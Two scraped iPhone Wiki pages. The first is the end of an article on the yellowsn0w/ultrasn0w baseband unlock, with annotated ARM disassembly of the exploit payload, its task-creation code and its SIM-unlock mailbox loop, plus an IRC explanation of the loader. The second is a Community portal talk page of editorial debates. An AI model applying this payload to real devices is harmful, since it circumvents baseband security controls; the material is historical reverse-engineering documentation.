RAM:000119CC ADDS R7, R0, #0 ; R7 = task
RAM:000119CE STR R5, [R0,#0xC] ; task.field=0
RAM:000119D0 MOVS R0, 0x100
RAM:000119D4 BLX R4 ; malloc(0x100)
RAM:000119D6 MOVS R2, #0x80
RAM:000119D8 LDR R1, =task_loop ; src
RAM:000119DA LSLS R2, R2, #1 ; size to copy
RAM:000119DC LDR R3, =0x203C58A0 ; bytecpy
RAM:000119DE ADDS R4, R0, #0 ; R4 = dyn_task_loop
RAM:000119E0 BLX R3 ; bytecpy(task_loop, dyn_task_loop, 0x100)
RAM:000119E2 LDR R3, [SP,#0x40+ptr_200]
RAM:000119E4 STR R3, [SP,#4] ; void *stack_address = malloc(0x200)
RAM:000119E6 MOVS R3, #0x44
RAM:000119E8 STR R3, [SP,#0xC] ; priority = 0x44
RAM:000119EA MOVS R3, #0xA
RAM:000119EC ADDS R4, #1 ; thumbing dyn_task_loop
RAM:000119EE STR R3, [SP,#0x14] ; preempt = NU_PREEMPT
RAM:000119F0 MOVS R3, #0xC
RAM:000119F2 ADDS R2, R4, #0 ; void(*task_entry)
RAM:000119F4 STR R3, [SP,#0x18] ; auto_start = NU_START
RAM:000119F6 LDR R1, =devteam1 ; char *name
RAM:000119F8 STR R5, [SP] ; void *argv = 0
RAM:000119FA STR R6, [SP,#8] ; stack_size = 0x200
RAM:000119FC STR R5, [SP,#0x10] ; time_slice = 0
RAM:000119FE ADDS R0, R7, #0 ; NU_TASK *task
RAM:00011A00 MOVS R3, #0 ; int argc = 0
RAM:00011A02 LDR R4, =0x203FB540 ; NU_Create_Task
RAM:00011A04 BLX R4 ; status = NU_Create_Task()
RAM:00011A06 ADDS R2, R0, #0
RAM:00011A08 CMP R0, #0 ; success = zero
RAM:00011A0A BNE status_error
RAM:00011A0C LDR R1, =OK
RAM:00011A0E LDR R0, [SP,#0x40+resp_string]
RAM:00011A10 LDR R3, =0x2046DD00 ; sprintf
RAM:00011A12 BLX R3 ; sprintf(resp_string,"OK")
RAM:00011A14 B exit ; fixing stack
RAM:00011A16 ; ---------------------------------------------------------------------------
RAM:00011A16
RAM:00011A16 status_error ; CODE XREF: new_handler+5A�j
RAM:00011A16 LDR R1, =ERROR
RAM:00011A18 LDR R0, [SP,#0x40+resp_string]
RAM:00011A1A LDR R3, =0x2046DD00 ; sprintf
RAM:00011A1C BLX R3 ; sprintf(resp_string,"ERROR")
RAM:00011A1E
RAM:00011A1E exit ; CODE XREF: new_handler+64�j
RAM:00011A1E ADD SP, SP, #0x2C ; fixing stack
RAM:00011A20 POP {R4-R7,PC} ; bye
RAM:00011A20 ; End of function new_handler
RAM:00011A20
RAM:00011A20 ; ---------------------------------------------------------------------------
</pre>

===Unlock task loop===
<pre>
RAM:00011A64 ; =============== S U B R O U T I N E =======================================
RAM:00011A64
RAM:00011A64 task_loop ; DATA XREF: RAM:off_11A2C�o
RAM:00011A64 PUSH {R4,R5,LR}
RAM:00011A66 LDR R5, =0x40232754 ; sec mailbox
RAM:00011A68 SUB SP, SP, #0x14
RAM:00011A6A
RAM:00011A6A loop ; CODE XREF: task_loop+44�j
RAM:00011A6A LDR R3, =0x20165998 ; NU_Receive_From_Mailbox
RAM:00011A6C ADDS R0, R5, #0 ; NU_MAILBOX *mailbox
RAM:00011A6E MOV R1, SP ; void *Message
RAM:00011A70 MOVS R2, #0xFF ; Timeout
RAM:00011A72 BLX R3 ; NU_Receive_From_Mailbox(sec_mailbox,SP,0xFF)
RAM:00011A74 LDR R3, [SP] ; Message[0]
RAM:00011A76 CMP R3, #0xD ; Message[0] = 0xD ?
RAM:00011A78 BNE skip ;
RAM:00011A7A LDR R1, [SP,#4] ; Message[1]
RAM:00011A7C LDR R3, =0x402F79BC
RAM:00011A7E LDR R2, [R1] ; Message[1].field0
RAM:00011A80 STR R2, [R3] ; sec_task_var1 = Message[1].field0
RAM:00011A82 ADDS R3, #4 ; 0x402F79C0
RAM:00011A84 LDR R2, [R1,#4] ; Message[1].field1
RAM:00011A86 STR R2, [R3] ; sec_task_var2 = Message[1].field1
RAM:00011A88 LDR R2, [R1,#8] ; Message[1].field2
RAM:00011A8A LDR R3, =0x100FF00
RAM:00011A8C STR R3, [R2] ; Message[1].field2[0] = 0x100FF00
RAM:00011A8E LDR R3, =0x4020401
RAM:00011A90 STR R3, [R2,#4] ; Message[1].field2[1] = 0x4020401
RAM:00011A92 LDR R3, =0x4040403
RAM:00011A94 STR R3, [R2,#8] ; Message[1].field2[2] = 0x4040403
RAM:00011A96 MOVS R3, #1
RAM:00011A98 STR R3, [R1,#0xC] ; Message[1].field3 = 1
RAM:00011A9A MOVS R3, #0x20
RAM:00011A9C STR R3, [SP] ; Message[0] = 0x20
RAM:00011A9E
RAM:00011A9E skip ; CODE XREF: task_loop+14�j
RAM:00011A9E ADDS R0, R5, #0 ; sec mailbox
RAM:00011AA0 MOV R1, SP ; void *Message
RAM:00011AA2 MOVS R2, #0xFF ; timeout
RAM:00011AA4 LDR R3, =0x203ED568
RAM:00011AA6 BLX R3 ; NU_Send_To_Mailbox()
RAM:00011AA8 B loop ; NU_Receive_From_Mailbox
RAM:00011AA8 ; End of function task_loop
</pre>

===Planetbeing explains...===
<pre>
13:24:29 <crash-x_> especially how does ultra/yellow sn0w work
13:24:40 <crash-x_> are you overwriting instructions
13:24:48 <crash-x_> or some values in memory to make it accept the sim?
13:24:48 <planetbeing> Nah.
13:24:53 <planetbeing> It's a task.
13:25:06 <planetbeing> That just waits for securiy messages to go through the inbox.
13:25:13 <westbaer> planetbeing: btw, why isnt yellowsn0w/ultrasn0w not open-source anymore? like u posted an *oooold* version once

...

13:26:33 <planetbeing> The only thing I do for ys/us is the loader bit.
13:26:39 <westbaer> so whats actually the loader stuff you've been talking about?
13:26:46 <planetbeing> That uses the exploit to start MuscleNerd's payload.
13:27:21 <westbaer> ah
13:27:26 <planetbeing> Well, you have a vulnerability.
13:27:30 <planetbeing> And you want to load a large chunk of code.
13:27:39 <planetbeing> And you don't have much room to wriggle in for your overflow
13:28:21 <westbaer> aah, makes sense
13:28:50 <planetbeing> So the solution is a small loader that loads the rest of the code, and overcomes any restrictions there are on allowable characters.
13:28:55 <ashikase> francis: pm
13:28:59 <westbaer> yeah
13:29:10 <crash-x_> planetbeing: the baseband is it like one process that runs there
13:29:19 <crash-x_> or is it like a small os with process and stuff
13:29:19 <planetbeing> Basically a good loader should turn a vulnerability into a reliable platform for the execution of arbitrary code, unrestricted by vulnerability-specific stuff.
13:29:37 <planetbeing> Oh, it's a full-featured OS.
13:29:38 <planetbeing> Nucleus.
13:29:51 <planetbeing> http://www.mentor.com/products/embedded_software/nucleus_rtos/
13:29:54 <crash-x_> and when you execute an at command
13:30:06 <crash-x_> does that start another process that is crashed then
13:30:21 <planetbeing> Ideally, you don't crash anything.
13:30:21 <crash-x_> or does it crash like the main baseband program
13:30:23 <planetbeing> And we don't.
13:30:49 <crash-x_> so am i understand it right
13:30:50 <westbaer> wait. is nucleus on the baseband already installed or do you actually inject it with ultrasn0w?
13:30:51 <planetbeing> We load a bunch of code into certain memory locations, execute them, and then return safely back to the main command parser task.
13:31:00 <planetbeing> Nucleus is what the baseband runs.
13:31:04 <westbaer> ah ok
13:31:29 <planetbeing> I mean, even the bootrom is an OS.
13:31:36 <planetbeing> With one task, but it still has a scheduler. =P
13:31:39 <crash-x_> ah thats how you do it
13:31:42 <westbaer> heh
13:31:44 <crash-x_> and about your payload
13:31:57 <crash-x_> does it start a new process like using fork()
13:32:03 <crash-x_> or does it all the work in the exploited process
13:32:11 <planetbeing> It uses Nucleus-specific calls that create the new task.
13:32:19 <planetbeing> Well, the payload has to create a new task
13:32:22 <westbaer> I think they are documented on the wiki
13:32:25 <planetbeing> To monitor for certain events.
13:32:47 <planetbeing> Yeah, just read Darkmen's decompile.
13:33:00 <planetbeing> us has the exact same payload as ys
13:33:08 <planetbeing> Just different addresses for function calls and stuff.
13:33:19 <planetbeing> And I had to rewrite the loader due to even tighter constraints.
13:33:28 <crash-x_> thats cool, thanks for explaining
13:33:34 <westbaer> yup, thanks

From irc.saurik.com #iphone on sunday the 5th of july.
</pre>

==Source Code==
The [http://xs1.iphwn.org/releases/yellowsn0w.tar.bz2 source code] for yellowsn0w 0.9.1 (old version) was released along with yellowsn0w release.

==See Also==
* [[X-Gold 608 Unlock]]
* [[X-Gold 608]]
* [[Baseband Device]]

==External links==
* [http://chronic-dev.org/blog/2008/12/props/ Chronic Dev's post about Yellowsn0w]
* [http://blog.iphone-dev.org/post/65126957/tis-the-season-to-be-jolly Yellowsn0w Announcement]
* [http://qik.com/video/729275 MuscleNerd's yellowsn0w Demo]
* [http://www.youtube.com/watch?v=kd5vOy2m5uY MuscleNerd's ultrasn0w demo]
* [http://pastie.org/9369160 xerub code]

[[Category:Unlocking Methods]]
[[Category:Baseband]]
[[Category:Hacking Software]]

The iPhone Wiki:Community portal

2014-02-16T14:28:35Z

Http: /* Mainpage "iPhone Hackers" List */

{{Talk Archive}}
{{see also|Unsolved problems}}
==iPhone-Elite==
I think we should include all this old stuff before it gets lost: [http://code.google.com/p/iphone-elite/ code.google.com/p/iphone-elite/]. I mean the wiki articles there. Most infos should be already here, but I'm sure a lot of things are missing too.
--[[User:Http|http]] 15:02, 26 June 2012 (MDT)

==Boot-args cleanup==
We need to clean up the boot-args pages. First the technical part: What I understand is that iBoot loads the kernel. And when loading it, it can pass some parameters to select certain behavior. So this only works with an iBoot or bootrom exploit. I understand that in earlier firmware versions there was simply an iBoot variable, but that doesn't exist or work anymore, now passing theses args requires a different or patched iBoot. There are various parameters in different kernel versions. The description for these arguments is scattered over various places:
*[[Kernel#Boot-Args]] A section with the latest boot arguments list. This should be a short introduction and having a link "main article".
*[[Boot-args (iBoot variable)]] separate page for boot arguments, but mainly for the iBoot variable that doesn't exist any longer
*[{{FULLURL:Boot arguments|redirect=no}} Boot arguments] (redirect)
*[[:Talk:Restore_Mode]] describing the iBoot variable problem
*Various pages referencing boot-args, like [[Research: Re-allowing unsigned ramdisks and boot-args with the 2.* iBoot]] (here we should have a link on the second title)
*My earlier comment [[:Talk:Kernel#boot-args]]
*This comment here.
So what do we want to do about this mess? I suggest to move the current [[Kernel]] content to the redirect page [[Boot arguments]] (or to another new page, maybe [[boot-args]]). The current content of [[Boot-args (iBoot variable)]] and all other content should get merged into there. Then change all references to this new page and on the [[Kernel]] page write just something short with "main article there". What do you think? --[[User:Http|http]] ([[User talk:Http|talk]]) 21:31, 13 February 2013 (UTC)
:I like [[Boot Arguments]]. --[[User:5urd|5urd]] ([[User talk:5urd|talk]]) 02:01, 14 February 2013 (UTC)
::One addition: Maybe we should use [[boot-args]] as the main page, because all links are written like that. --[[User:Http|http]] ([[User talk:Http|talk]]) 07:37, 14 February 2013 (UTC)

==The iPhone Wiki re-design==
The design of the iPhone wiki is now quite old and I think it should be updated. I made a [http://oi42.tinypic.com/30ib9y8.jpg concept]. --[[User:Jaggions|Jaggions]] ([[User talk:Jaggions|talk]]) 10:30, 14 June 2013 (UTC)
:I disagree. If anything add an iPhone 5 to the logo but everything else is ok. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 11:05, 14 June 2013 (UTC)
:I wouldn't change the logo to an iPhone 5, especially with iOS 7 and a new iPhone (that will probably look the same as the 5, admittedly) around the corner. I contemplated updating the CSS for iOS 7's UI but decided not to because of the UI's supposed volatility (during the beta period) and I don't have a live version to toy around with. (I personally don't like its current state, but that's not a factor in why I'm not changing it yet.) --[[User:Dialexio|Dialexio]] ([[User talk:Dialexio|talk]]) 16:25, 14 June 2013 (UTC)
::Can we not do flat? --[[User:Haifisch|Haifisch]] ([[User talk:Haifisch|talk]]) 21:02, 14 June 2013 (UTC)
::This is what I was thinking. When iOS 7 finally comes out, we could change the CSS to look like that instead. --[[User:5urd|5urd]] ([[User talk:5urd|talk]]) 21:11, 14 June 2013 (UTC)
:::iOS 7 looks ugly. We do not want it like that. Maybe a bit more modern but nothing much. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 21:16, 14 June 2013 (UTC)
::::''You'' may not want it like that. That's your opinion. --[[User:5urd|5urd]] ([[User talk:5urd|talk]]) 01:55, 15 June 2013 (UTC)
:::::We could make a poll, and see if most users agree or disagree. --[[User:Jaggions|Jaggions]] ([[User talk:Jaggions|talk]]) 10:05, 15 June 2013 (UTC)
:The idea looks nice. But before we make any changes, let's wait until iOS7 comes out. And I'd prefer to just add another skin instead (if possible). I'm still using the classic MonoBook skin by the way. You shouldn't impose design changes to everyone. --[[User:Http|http]] ([[User talk:Http|talk]]) 14:38, 15 June 2013 (UTC)
::The problem with skins is that geohot needs to set them up... An idea I have is that we copy the Vector skin verbatim to a new skin (<code>iOS6</code>) and move the modifications (not general stuff) to [[Mediawiki:iOS6.css]]. Then we can do another verbatim copy to <code>iOS7</code> and modify [[Mediawiki:iOS7.css]]. We could then set the default skin to either <code>iOS6</code> or <code>iOS7</code> so you don't need to be logged in to see them like currently. Then if someone doesn't like them, like you, just change your settings to your preferred skin. The only way around needing geohot is if he opens up the credentials to FTP or whatever to someone. --[[User:5urd|5urd]] ([[User talk:5urd|talk]]) 21:17, 15 June 2013 (UTC)
:::I like [[User:5urd|5urd]]'s suggestion. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 22:29, 15 June 2013 (UTC)
What about just removing the text-shadow element for now? I think pages would be easier to read without it. Here's an example: [[:File:Noshadow.png]]. [[User:Britta|Britta]] ([[User talk:Britta|talk]]) 00:11, 29 August 2013 (UTC)
:Yeah removing the shadow will make everything seem more flat but like [[User:http|http]] I'm still using the classic [http://theiphonewiki.com/w/index.php?title=Main_Page&useskin=monobook MonoBook skin] --[[User:Jaggions|Jaggions]] ([[User talk:Jaggions|talk]]) 21:19, 31 August 2013 (UTC)

==Hacker page==
I would like to be added to the list of hackers for my work with the Private Dev Team and the [[Chronic Dev (team)|Chronic Dev Team]] in addition to my release of the Phoenix Semi-Untethered. --[[User:Ph0enix|Ph0enix]] ([[User talk:Ph0enix|talk]]) 18:36, 22 July 2013 (UTC)
:Did you find any exploits? --[[User:Haifisch|Haifisch]] ([[User talk:Haifisch|talk]]) 18:54, 22 July 2013 (UTC)
::No. [[User:phyrrus9|phyrrus9]], a team member found the vulnerability. I am the one who exploited it. --[[User:Ph0enix|Ph0enix]] ([[User talk:Ph0enix|talk]])
:::I can back up this "claim". I was a part of it. --[[User:5urd|5urd]] ([[User talk:5urd|talk]]) 20:52, 28 July 2013 (UTC)
::::Whatever happened to this? --[[User:Phyrrus9|phyrrus9]]
:::::So this went cold and i am going to again request that this change be made. --[[User:Ph0enix|Ph0enix]] ([[User talk:Ph0enix|talk]]) 18:28, 13 January 2014 (UTC)
::::::I'm gonna say no. I don't see any notable accomplishments to merit this. --[[User:Dialexio|Dialexio]] ([[User talk:Dialexio|talk]]) 21:53, 13 January 2014 (UTC)
::::::'''No'''. The first step would be to get to the category [[:Category:Hackers|hackers]]. You can get there by finding a vulnerability that is used with an exploit in a jailbreak - or by writing a new exploit. Remember that it's not allowed to add yourself to that category. Instead of finding a vulnerability you could also be member of either The [[iPhone Dev Team]] or [[Chronic Dev]] or [[evad3rs]]. After being in that category, the next step would be that you're famous enough from all those hackers there to get to the main page. The people chosen are discussed here. --[[User:Http|http]] ([[User talk:Http|talk]]) 23:42, 13 January 2014 (UTC)

==Orphaned articles==
This is an interesting search: [[Special:LonelyPages]] - "The following pages are not linked from or transcluded into other pages in The iPhone Wiki." I'm not sure where all of those articles should be linked, but figuring that out could be a useful project for somebody. [[User:Britta|Britta]] ([[User talk:Britta|talk]]) 05:57, 28 August 2013 (UTC)

==Easy tasks for new editors==
* Finish converting the remaining error codes listed here [[MobileDevice_Library#Known_Error_Codes]] into the proper mach_return_t codes they should be displayed as. (convert the negative number listed into hex, strip any leading "FF" so it should be in the format "0xe80000" followed by two numbers) --[[User:Dirkg|Dirkg]] ([[User talk:Dirkg|talk]]) 22:40, 28 August 2013 (UTC)

== A1XXX model numbers vs. "GSM"/"CDMA"/"Global"/"Cellular"/etc. ==
I know that this topic was [[The iPhone Wiki:Community portal/2013#iPhone 5|already discussed earlier this year]], but it didn't seem to come to a consensus, and the introduction of the [[iPhone 5c]] and [[iPhone 5s]] brought a lot of model numbers. Some of them may "overlap" (think models A1429 and A1442 for the [[iPhone 5]]), but there's simply too many to give names to. There are at least two that can connect to CDMA networks, and all of them can connect to GSM. In addition, with the sheer amount of models, it doesn't seem likely for one model to be treated as a "global" model. Therefore, I changed the iPhone 5c to use model numbers. I would like to do the same to some of the devices that are already present on the wiki though— the same ones from when I first brought up this idea. The GSM/CDMA names work very well for the [[iPad 2]] and [[iPhone 4]]. Things are slightly murkier for the [[iPad 3|iPad (3rd gen.)]], [[iPad 4|iPad (4th gen.)]], [[iPad mini 1G]], and [[iPhone 5]] though; all of those devices' cellular models can connect to GSM networks, so it seems like nonsense to call some of them the "GSM model." The A1XXX model numbers are also how Apple tells the difference between the different models of these devices. Have any opinions changed? Or perhaps someone new might have something to say about this? --[[User:Dialexio|Dialexio]] ([[User talk:Dialexio|talk]]) 06:06, 13 September 2013 (UTC)

:I actually like the idea as it does get complicated now with the new devices coming like said and we would have to do this for all devices. Although, if we did this, we would have to move all the key pages that have keys on to support this. That would not be a big problem as we could limit the moves to say 20 per day. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 09:47, 13 September 2013 (UTC)

:I suggest we wait a bit until we see what models of the [[iPhone 5c]] and [[iPhone 5s]] will exist. But in general, I like the idea of using only the A1nnn numbers. The only issue I see right now is that Apple differentiates between A1532 GSM and A1532 CDMA. If there are real hardware differences between these two, then we're screwed again. That's why I suggest to wait until we know these exact model types. On the disambiguation page I added the GSM/CDMA model differentiation already (as Apple does). If they turn out to be the same, we can remove it again, but I wonder why Apple lists two models (with different bands supported) there now. Someone also added the "CDMA" mark to one of the others, but that's not how Apple marks them, so I suggest to remove that mark there again. If everything can be differentiated by these A-model-numbers, then yes, we should change the old pages too. Including all key pages. --[[User:Http|http]] ([[User talk:Http|talk]]) 14:44, 13 September 2013 (UTC)

::I do know there are 2 CDMA and 3-4 GSM for the [[iPhone 5c]] alone. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 16:04, 13 September 2013 (UTC)

:::Ahem… ''All'' of the iPhone 5c models can do GSM communications. Hence one of the reasons why I want to ditch the "GSM"/"Global"/etc. labels in favor of A1XXX model numbers. ;P --[[User:Dialexio|Dialexio]] ([[User talk:Dialexio|talk]]) 16:07, 13 September 2013 (UTC)

::::One thing is, what about iPod touch 5 as that has two model numbers that are the same device, same with iPhone5,2. How would we get around that? I suppose we could like both separated with a forward slash. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 18:19, 13 September 2013 (UTC)

:::::Yeah, we could just use something like "[[n42ap|iPhone 5 (Model A1429/A1442)]]." --[[User:Dialexio|Dialexio]] ([[User talk:Dialexio|talk]]) 22:45, 13 September 2013 (UTC)

::::::Yeah I thought that but what about the iPhone 4 GSM and GSM Rev A? They both seem to be A1432. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 23:10, 13 September 2013 (UTC)

:::::::This is why I'm against using the A1XXX model numbers instead of the current GSM/Global thing. --[[User:5urd|5urd]] ([[User talk:5urd|talk]]) 23:25, 13 September 2013 (UTC)

::::::::I had no plans to change the way we refer to the iPhone 4 or iPad 2 (Apple does use GSM/CDMA, and for those devices it works fine). If a new iPhone 5S revision comes along, Apple will probably refer to it as a "Rev A" thing, and so will we. --[[User:Dialexio|Dialexio]] ([[User talk:Dialexio|talk]]) 02:50, 14 September 2013 (UTC)

:Referencing Adam's reply above, if we had took that to the key pages, it'd be <code>[<nowiki/>[{BuildTrain} {Build} (A1432)]]</code> which would mess ''everything'' up. What could we do? Use <code>[<nowiki/>[{BuildTrain} {Build} (A1432 Rev A)]]</code>? No. That doesn't look good. The current way of referring to everything by their supported network type (GSM/CDMA/Global) helps in going to a different page.
:Let's say I'm on [[BrightonMaps 10B329 (iPhone 4 GSM)]] and I want to go the CDMA device. What do I do? Go to the URL and replace <code>GSM</code> with <code>CDMA</code>. With the model numbers, I'd have to navigate to [[Firmware]], then find the link, or find out what the model number of the CDMA variant is and replace the model number in the URL with that. 
:Ok, who navigates by the URL and search bar? ''I do''. And I'm sure there's '''many''' people out there that prefer to navigate with the search bar if they know the page name. If we go by model number, the AJAX search results just list pages with a model number in parenthesis. '''How does that help'''? I'd either have to ''know'' the model number of the device I want, or visit ''each one'' until I find the page I need.
:Sorry for the rant, but I am '''strongly''' against this. --[[User:5urd|5urd]] ([[User talk:5urd|talk]]) 23:25, 13 September 2013 (UTC)

::I do suppose we could just trash the buildtrain all together to shorten it down too. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 23:32, 13 September 2013 (UTC)

:::Dropping the Build Train would only ''increase'' the workload. Besides, what's the harm with it? We've been using the same page title structure since forever, and it's worked. "''If it ain't broke, don't fix it''". The current system works, so ''why'', other than the fact that Apple refers to them differently, should we change this? In addition, we don't refer to everything the way Apple does. The [[iPad mini 1G]] is referred to as the "iPad mini". The [[iPad 3]] is refered to as "The New iPad". The [[iPad 4]] is refered to as "iPad with Retina Display"[http://www.apple.com/ipad/compare/]. Are the key pages titled <code>BrightonMaps 10B329 (The New iPad, Wi-Fi+3G for AT&T and Verizon)</code>? No. --[[User:5urd|5urd]] ([[User talk:5urd|talk]]) 00:37, 14 September 2013 (UTC)

::::But the reason we want to not use the variants is because the new devices that are coming out are breaking he structure and also CDMA versions can use GSM in the 5c plus we have like 4 for GSM alone. I only meant drop buildtrain to shorten the urls down. For the iPhone 4 GSM Rev A we would have to list it as <code>iPhone 4 A1432 Rev</code> unless another idea is thought of. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 00:55, 14 September 2013 (UTC)

:::::No. Anything involving moving key pages to change their title I am ''completely'' against. As for the iPhone 5s and iPhone 5c, we ultimately have to wait. There may be different types, but if they all work with the same firmware, then what do we do then? Use <code>A1456/A1504</code>? I don't want to do that. It can get confusing in the future if that list were to be huge. With ''5'' different models for the iPhone 5c ''alone'', it's just not practical. For the fact that all support GSM, but not all support CDMA, we just do what we've ''been'' doing: "GSM" and "Global". --[[User:5urd|5urd]] ([[User talk:5urd|talk]]) 01:22, 14 September 2013 (UTC)

::::::There's nothing wrong with changing the titles of pages that don't even exist though. If *all* of the models use the same firmware, just go with "iPhone 5s." If they happen to be partitioned into two different firmwares again, that will certainly complicate things, but it wouldn't be worse than nonsense like "GSM," "GSM [<nowiki />Global]," "CDMA," "CDMA [<nowiki />Global]," or "GSM [<nowiki />Global Plus TD-LTE]." If it's just one oddball, we could just have "iPhone 5s" and "iPhone 5s A1XXX" (whatever the odd one is), and include a link on the former page to say "keys for model A1XXX are on this page." --[[User:Dialexio|Dialexio]] ([[User talk:Dialexio|talk]]) 02:50, 14 September 2013 (UTC)

::::I probably didn't phrase that well… I wasn't thinking of how Apple markets the product, but rather more along the lines of how they refer to it in, say, the tech specs page or support documents— the pages that shows the messier side to their simple sugar coating. --[[User:Dialexio|Dialexio]] ([[User talk:Dialexio|talk]]) 02:50, 14 September 2013 (UTC)

::You keep misinterpreting/misrepresenting what I'm proposing. I never said anything about dropping, say, "iPhone 5" so firmware page titles would look like [[Sundance 10A405 (A1428)]]. I want to change the GSM/Global part to the A1XXX number, so it would probably show like [[Sundance 10A405 (iPhone 5 A1428)]]. (If a hardware revision were made, it would probably look like [[Sundance 10A405 (iPhone 5 A1428 Rev A)]].) From time to time, I edit URLs to browse the wiki too. But the GSM/Global identifiers don't work that well; again, '''all iPhone 5 models can connect to GSM'''. That's not really helpful. --[[User:Dialexio|Dialexio]] ([[User talk:Dialexio|talk]]) 02:50, 14 September 2013 (UTC)

:::I suggest we drop the A and use Rev. As for the idea of changing to A1XXX, I see no issues and am for the idea. I admit it can cause chaos when we move the pages but we could limit the moving per day of course. Overall, I think it will be worth it. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 10:01, 14 September 2013 (UTC)

::::No. Don't drop the <code>A</code> from <code>Rev A</code>. Why would you even think to? You want to call them what Apple calls them, and the [[n90bap|revised iPhone 4 GSM]] is referred to with <code>Rev A</code>. In addition, there have been <code>Rev ''B''</code> things before, such as the [[S5L8947]] (A5 Rev B) used in the [[j33iap|revised Apple TV 3G]]. In addition, think of all the redirects we would need to keep for sites that link to key pages directly. I have even seen sites that still link with the URLs as <code>/wiki/index.php?title={Title}</code> instead of the year old change to <code>/wiki/{Title}</code>. The wiki handles that internally for us, but the redirects made in the moves would have to be kept. Currently, only the [[iPhone 5]] and [[iPad 4]] are the only devices referred to by their model numbers. --[[User:5urd|5urd]] ([[User talk:5urd|talk]]) 20:53, 14 September 2013 (UTC)

:::That's why I don't want to change it. It's worked for us, and we have no idea how the new firmwares will be handled. I am betting that there will only be two firmware types - one for the GSM, and one for the Global (GSM+CDMA) model. The only reason they are split, IIRC, is because AT&T uses different LTE bands than rest of the GSM world.
:::Ultimately, the GSM/CDMA/Global monikors haven't caused any ''naming conflicts''. Ok, you don't want to use the ''marketing'' title. What about the way they are referred to on [[Apple Developer Center|ADC]], because that seems to be what you want. I may be misreading what you're saying again, but if we're going to do that, let's use their ''full'' title. Something <code>(iPad [4th generation Model A1458])</code> (iPad 4 Wi-Fi) and <code>(iPad Wi-Fi + Cellular [model for Verizon])</code> (iPad 3 Global). Does the first one tell you if the device is Wi-Fi or a Wi-Fi+3G model? Does the second one tell you ''at all'' that it is an [[iPad 3]], or that it supports GSM? No.
:::Apple has a history of being inconsistent. For example, the iPad 3 Wi-Fi is referred to on ADC (and iTunes) as "iPad Wi-Fi (3rd generation)" while the iPad 3 GSM is referred to as "iPad Wi-Fi + Cellular [model for AT&T]". What happened to the "3rd generation"? --[[User:5urd|5urd]] ([[User talk:5urd|talk]]) 20:53, 14 September 2013 (UTC)

::::We could always list as <code>iPhone 4 (iPhone3,1)</code> etc instead if that would be better. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 21:13, 14 September 2013 (UTC)

::::Why is there a need to explicitly keep "Wi-Fi" in a key page's title? All you need is a way to distinguish what model it is from its other variants— the A1XXX model number does just that. It's not like we referred to the AppleTV3,2 as "Apple TV 3G (New Single-Core A5)" or something. And obviously, we can use common sense to address the 3rd generation iPad issue you brought up… Now you're just nitpicking. --[[User:Dialexio|Dialexio]] ([[User talk:Dialexio|talk]]) 05:28, 15 September 2013 (UTC)
:::::Actually, I think we should wait until we see the firmware for iPhone 5c/5s and then decide. TBH, as [[User:5urd|5urd]] said, it is ok as it is but of course if once the new firmware is out it is more confusing, then we can think again. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 14:12, 15 September 2013 (UTC)

:::::Come to think of it, we can use a mix of both; we can keep the "Global" moniker, but drop the "GSM" moniker in favor of the A1XXX model number. (The "GSM" moniker is the one that's been bothering me.) I think this works well for the iPad 3 (which is actually split into "CDMA" and "Global—" it probably doesn't need to be done for this), iPad 4, iPad mini 1G, and iPhone 5, but this leaves the question of what to do for the iPhone 5C/5S. --[[User:Dialexio|Dialexio]] ([[User talk:Dialexio|talk]]) 04:04, 19 September 2013 (UTC)

::::::That would look worse! If we are going to do it, we have to do it for '''''all'''''. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 09:40, 19 September 2013 (UTC)

:::::::What is the status on this now? --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 21:18, 9 November 2013 (UTC)

:::::This discussion has stagnated, but I'm firing it up again— I want to fix this before the end of the year, so this can probably be seen as an ultimatum. Now that Apple has pushed a 7.1 beta to developers, we now know how Apple's splitting the new iPhones up— and it's by A1XXX model numbers still. :\ That's probably the path the wiki will go down, but I do have another idea. The other idea I have in mind is using the A1XXX model number for the cellular devices launched last year. But for this year's iPhones, the FCC ID is actually different between the two, so we could actually use that. Before this gets nitpicked on, the last letter can get changed to an "X" to signify that it's a wildcard of sorts. It's not a pretty solution so I do expect it to get shot down (hence why I'm going with the A1XXX model numbers unless everyone says otherwise), but I'm still throwing it out there in case everyone actually likes that. Everyone is welcome to suggest alternatives, but I '''will''' eliminate that GSM label before the year ends. --[[User:Dialexio|Dialexio]] ([[User talk:Dialexio|talk]]) 18:31, 18 November 2013 (UTC)

::::::That is worse, nobody knows the FCC ID off the top of their head. I would suggest "iPhone 5 (iPhone5,1)" if anything. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 18:37, 18 November 2013 (UTC)

:::::::Using "iPhone5,1" or "iPhone6,2" is even ''less'' friendly… The FCC ID can be looked up in Settings or the back of a device. --[[User:Dialexio|Dialexio]] ([[User talk:Dialexio|talk]]) 19:06, 18 November 2013 (UTC)

::::::::Well that is not the point. I say either use the firmware name or leave it alone. See what others thing though. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 19:13, 18 November 2013 (UTC)

:::::::::I currently plan on using the A1XXX model numbers— the FCC ID proposal was just thrown out there in the off chance that someone might like it. I'm not really a fan of it myself, but the FCC ID is probably the simplest way to figure out if it's an iPhone6,1 or iPhone6,2 since both have multiple A1XXX model numbers. --[[User:Dialexio|Dialexio]] ([[User talk:Dialexio|talk]]) 19:19, 18 November 2013 (UTC)

